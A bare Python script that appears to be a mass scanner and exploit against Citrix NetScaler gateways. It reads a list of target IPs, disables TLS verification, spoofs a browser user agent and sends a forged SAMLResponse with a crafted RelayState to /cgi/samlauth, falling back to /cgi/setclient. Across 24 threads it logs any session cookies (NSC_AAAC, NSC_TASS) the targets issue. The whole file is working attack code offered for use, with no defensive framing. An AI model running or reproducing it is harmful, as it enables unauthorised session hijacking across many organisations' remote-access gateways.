import base64, concurrent.futures, ssl, sys, threading, urllib.error, urllib.parse, urllib.request

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
RS16 = base64.b64encode(b"ctx=" + b"\x00" * 12).decode()
LOCK = threading.Lock()


def op():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.set_ciphers("DEFAULT@SECLEVEL=1")

    class N(urllib.request.HTTPRedirectHandler):
        def redirect_request(self, *a, **k):
            return None

    return urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx), N)


def call(o, ip, path, cookie=None, data=None, timeout=10):
    r = urllib.request.Request("https://%s%s" % (ip, path), data=data)
    r.add_header("User-Agent", UA)
    if data is not None:
        r.add_header("Content-Type", "application/x-www-form-urlencoded")
    if cookie:
        r.add_header("Cookie", cookie)
    try:
        x = o.open(r, timeout=timeout)
        return x.status, x.headers.get("Location") or "", (x.headers.get_all("Set-Cookie") or [])
    except urllib.error.HTTPError as e:
        return e.code, e.headers.get("Location") or "", (e.headers.get_all("Set-Cookie") or [])
    except Exception:
        return None, "", []


def check(ip):
    try:
        o = op()
        body = ("SAMLResponse=AAAA&RelayState=" + urllib.parse.quote(RS16, safe="")).encode()
        st, loc, cks = call(o, ip, "/cgi/samlauth", None, body, 12)
        ck = [c.split(";")[0] for c in cks if c.startswith(("NSC_AAAC=", "NSC_TASS=")) and "xyz" not in c.split(";")[0]]
        if not ck:
            st2, loc2, cks2 = call(o, ip, "/cgi/setclient?wica", None, None, 10)
            ck = [c.split(";")[0] for c in cks2 if c.startswith(("NSC_AAAC=", "NSC_TASS=")) and "xyz" not in c.split(";")[0]]
            if ck:
                return "%s\tSESSION\t/cgi/setclient\t%s\t%d\t%s" % (ip, ";".join(ck)[:80], st2 or 0, loc2[:30])
            return "%s\tNOCOOKIE\t%d\t%s" % (ip, st or 0, loc[:30])
        return "%s\tSESSION\t/cgi/samlauth\t%s\t%d\t%s" % (ip, ";".join(ck)[:80], st or 0, loc[:30])
    except Exception as e:
        return "%s\tEXC\t%s" % (ip, type(e).__name__)


def main():
    src, out = sys.argv[1], sys.argv[2]
    ips = [l.split("\t")[0].strip() for l in open(src) if l.strip()]
    print("targets", len(ips), flush=True)
    f = open(out, "w")
    with concurrent.futures.ThreadPoolExecutor(max_workers=24) as pool:
        for i, res in enumerate(pool.map(check, ips), 1):
            with LOCK:
                f.write(res + "\n")
                f.flush()
            if i % 50 == 0:
                print("done", i, flush=True)
    f.close()
    print("finished", flush=True)


main()
